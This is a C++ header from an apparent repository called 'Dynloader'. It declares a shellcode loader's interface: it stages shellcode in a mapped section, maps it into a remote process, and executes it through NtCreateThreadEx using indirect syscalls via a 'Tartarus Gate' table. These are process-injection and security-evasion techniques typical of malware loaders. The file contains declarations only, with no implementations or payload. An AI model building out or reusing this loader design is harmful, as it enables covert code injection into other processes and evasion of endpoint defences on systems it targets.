Files
AbishekPonmudi-Dynloader/lib/memory/section_map.hpp
T
2026-07-10 11:56:50 -07:00

44 lines
1.2 KiB
C++

#pragma once
#include <Windows.h>
#include <cstdint>
#include <vector>
#include "../syscall/tartarus_gate.hpp"
namespace SectionMap {
struct MappedRegion {
HANDLE section = nullptr;
PVOID localView = nullptr;
PVOID remoteView = nullptr;
SIZE_T viewSize = 0;
bool mappedRemote = false;
};
// Stage shellcode via anonymous section + NtMapViewOfSection (W^X).
// Replaces naive NtAllocateVirtualMemory for local ingestion.
bool StageLocal(
TartarusGate::SyscallTable& sc,
const std::vector<BYTE>& shellcode,
MappedRegion& out);
// Map staged section into remote process (shared section object).
bool MapRemote(
TartarusGate::SyscallTable& sc,
HANDLE targetProcess,
MappedRegion& region);
// Execute shellcode locally via NtCreateThreadEx (indirect syscall).
bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry);
// Execute in remote process via NtCreateThreadEx.
bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry);
// Release views and section handle.
void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess);
// Align size to page boundary.
SIZE_T PageAlign(SIZE_T size);
} // namespace SectionMap